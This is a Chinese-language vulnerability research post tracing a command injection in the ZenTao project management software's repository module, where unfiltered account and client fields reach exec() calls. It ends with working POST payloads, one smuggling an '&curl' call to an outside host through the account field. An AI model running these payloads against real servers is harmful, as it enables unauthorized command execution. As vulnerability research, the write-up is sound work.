探索禅道中命令注入的可能性

背景

这是个错误

习惯了找框架rce,本打算找一波反序列化利用链,那肯定先搜索以下是否存在触发点

1605518947180

然而皮了,和框架不一样的

谈一谈反序列化

平时框架的反序列化,直接命名空间,use就完事了,

实际一个类要想能被反序列化,事先应对类文件进行了包含,才能使用

use 命名空间\类名 的形式

但是禅道中存在自己的加载机制,并不是自动加载所有的库文件,所以反序列化不想了,

但是针对入口文件,还是要做一个简单分析,抱着不能白来一趟的感觉(当然白给)

phpseclib第三方库

__destruct入口

  • 有两个,都是加载了define的常量,无法实例化GG了看了下下面,基本都是常量的问题,不然存在调用链条

  • __destruct->disconnect_helper->send_binary_packet->任意类的encrypt->(SymmetricKey类)->setup->setupInlineCrypt->createInlineCryptFunction

发现一处wakeup方法(当然也断了,没看懂开发思维)

  • wakeup方法中调用new static,实例化一个新的类

    1605520048407

  • $x可控,可触发__toString

    1605520170067

  • RSA类的tostring方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    public function __toString()
    {
    try {
    $key = $this->getPrivateKey($this->privateKeyFormat);
    if (is_string($key)) {
    return $key;
    }
    $key = $this->getPrivatePublicKey($this->publicKeyFormat);
    return is_string($key) ? $key : '';
    } catch (\Exception $e) {
    return '';
    }
    }
    ...
    function getPrivateKey($type = self::PUBLIC_FORMAT_PKCS1)
    {
    if (empty($this->primes)) {
    return false;
    }

    $oldFormat = $this->privateKeyFormat;
    $this->privateKeyFormat = $type;
    $temp = $this->_convertPrivateKey($this->modulus, $this->publicExponent, $this->exponent, $this->primes, $this->exponents, $this->coefficients);
    $this->privateKeyFormat = $oldFormat;
    return $temp;
    }
  • 可以调用自身的_convertPrivateKey方法

    1605520844599

  • 到此GG,放过自己

漏洞发现

在上面测试的时候,发现代码中有这么基础exec执行命令的地方,且不是库文件

1605520988778

共有两处调用repo的create方法和update方法,当然有权限限制

1605522085646

1605522168037

以产品经理的身分测试

create方法

首先checkClient方法需要返回true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function checkClient()
{
if(!$this->config->features->checkClient) return true;
if(!$this->post->client) return true;

if(strpos($this->post->client, ' '))
{
dao::$errors['client'] = $this->lang->repo->error->clientPath;
return false;
}

$clientVersionFile = $this->session->clientVersionFile;
if(empty($clientVersionFile))
{
$clientVersionFile = $this->app->getLogRoot() . uniqid('version_') . '.log';

session_start();
$this->session->set('clientVersionFile', $clientVersionFile);
session_write_close();
}

if(file_exists($clientVersionFile)) return true;

$cmd = $this->post->client . " --version > $clientVersionFile";
dao::$errors['client'] = sprintf($this->lang->repo->error->safe, $clientVersionFile, $cmd);

return false;
}

原则上这个方法时绕不过去的

所以想要利用,就需要管理人员配置了可以使用,通过config配置或者下面存在log文件

不在多看

edit->update方法

首先,__construct方法限制了,需要存在数据才能访问edit方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __construct()
{
parent::__construct();
include "../../lib/phpaes/phpseclib/Net/SSH1.php";

$disFuncs = str_replace(' ', '', ini_get('disable_functions'));
if(stripos(",$disFuncs,", ',exec,') !== false or stripos(",$disFuncs,", ',shell_exec,') !== false)
{
echo js::alert($this->lang->repo->error->useless);
die(js::locate('back'));
}

$this->scm = $this->app->loadClass('scm');
$this->repos = $this->repo->getRepoPairs();
if(empty($this->repos) and $this->methodName != 'create') die(js::locate($this->repo->createLink('create')));

/* Unlock session for wait to get data of repo. */
session_write_close();
}

在create方法中,需要checkConnection方法返回true,才能继续执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function create()
{
if(!$this->checkClient()) return false;
if(!$this->checkConnection()) return false;

$data = fixer::input('post')->setDefault('client', 'svn')->skipSpecial('path,client,account,password')->get();
$data->acl = empty($data->acl) ? '' : json_encode($data->acl);

if($data->SCM == 'Subversion')
{
$scm = $this->app->loadClass('scm');
$scm->setEngine($data);
$info = $scm->info('');
$data->prefix = empty($info->root) ? '' : trim(str_ireplace($info->root, '', str_replace('\\', '/', $data->path)), '/');
if($data->prefix) $data->prefix = '/' . $data->prefix;
}

if($data->encrypt == 'base64') $data->password = base64_encode($data->password);
$this->dao->insert(TABLE_REPO)->data($data)
->batchCheck($this->config->repo->create->requiredFields, 'notempty')
->checkIF($data->SCM == 'Subversion', $this->config->repo->svn->requiredFields, 'notempty')
->autoCheck()
->exec();

if(!dao::isError()) $this->rmClientVersionFile();

return $this->dao->lastInsertID();
}

前面的checkClient方法,我们不能输入cilent的参数值,

所以整个git分支不能进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
elseif($scm == 'Git')
{
if(!is_dir($path)){
dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path);
return false;
}
if(!chdir($path)){
if(!is_executable($path))
{
dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path);
return false;
}
dao::$errors['path'] = $this->lang->repo->error->path;
return false;
}

$command = "$client tag 2>&1";
exec($command, $output, $result);
if($result){
dao::$errors['submit'] = $this->lang->repo->error->connect . "<br />" . sprintf($this->lang->repo->error->output, $command, $result, join("<br />", $output));
return false;
}
}

同样的是,在svn的分支中也基本都是返回false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
if($scm == 'Subversion')
{
/* Get svn version. */
$versionCommand = "$client --version --quiet 2>&1";
exec($versionCommand, $versionOutput, $versionResult);
if($versionResult)
{
$message = sprintf($this->lang->repo->error->output, $versionCommand, $versionResult, join("<br />", $versionOutput));
dao::$errors['client'] = $this->lang->repo->error->cmd . "<br />" . nl2br($message);
return false;
}
$svnVersion = end($versionOutput);

$path = '"' . str_replace(array('%3A', '%2F', '+'), array(':', '/', ' '), urlencode($path)) . '"';
if(stripos($path, 'https://') === 1 or stripos($path, 'svn://') === 1)
{
if(version_compare($svnVersion, '1.6', '<'))
{
dao::$errors['client'] = $this->lang->repo->error->version;
return false;
}

$command = "$client info --username $account --password $password --non-interactive --trust-server-cert-failures=cn-mismatch --trust-server-cert --no-auth-cache $path 2>&1";
if(version_compare($svnVersion, '1.9', '<')) $command = "$client info --username $account --password $password --non-interactive --trust-server-cert --no-auth-cache $path 2>&1";
}
else if(stripos($path, 'file://') === 1)
{
$command = "$client info --non-interactive --no-auth-cache $path 2>&1";
}
else
{
$command = "$client info --username $account --password $password --non-interactive --no-auth-cache $path 2>&1";
}

exec($command, $output, $result);
if($result)
{
$message = sprintf($this->lang->repo->error->output, $command, $result, join("<br />", $output));
if(stripos($message, 'Expected FS format between') !== false and strpos($message, 'found format') !== false)
{
dao::$errors['client'] = $this->lang->repo->error->clientVersion;
return false;
}
if(preg_match('/[^\:\/\\A-Za-z0-9_\-\'\"\.]/', $path))
{
dao::$errors['encoding'] = $this->lang->repo->error->encoding . "<br />" . nl2br($message);
return false;
}

dao::$errors['submit'] = $this->lang->repo->error->connect . "<br>" . nl2br($message);
return false;
}
}

在程序最下面会返回true,并且不存在else语句

$scm参数通过post传递,完全可控

所以只要不存在client和scm不等于git或者Subversion即可成功插入

1605523376105


漏洞分析

update方法

1605523869713

由于对下列标量均为做过滤

1605523929086

造成命令注入的地方,执行命令是没有问题的

1605524562493

限制

需要目标存在svn环境

或者搞个注入,改一下也成啊,不过不大可能了

1605524686887

payload

  • 创建文件

    • SCM=Test&name=test&path=E%3A%5C%5C%E5%B7%A5%E4%BD%9C%5C%5Czkaq%5C%5C%E7%A0%94%E7%A9%B6%E4%BB%BB%E5%8A%A1%5C%5C%E7%A0%94%E7%A9%B6%5C%5C20.11%5C%5C11.11%5C%5Czentaopms&encoding=utf-8&client=&account=&password=&encrypt=base64&acl%5Bgroups%5D%5B%5D=2&acl%5Busers%5D%5B%5D=productManager&desc=aaaaaaaaaaaa&uid=5fb1d83057b72
  • 命令执行

    • SCM=Subversion&name=test&path=E%3A%5C%5C%E5%B7%A5%E4%BD%9C%5C%5Czkaq%5C%5C%E7%A0%94%E7%A9%B6%E4%BB%BB%E5%8A%A1%5C%5C%E7%A0%94%E7%A9%B6%5C%5C20.11%5C%5C11.11%5C%5Czentaopms&encoding=utf-8&client=svn&account=%26curl http://192.168.1.55:7777%26 echo&password=12345678&encrypt=base64&acl%5Bgroups%5D%5B%5D=2&acl%5Busers%5D%5B%5D=productManager&desc=aaaaaaaaaaaa&uid=5fb25b2e34d31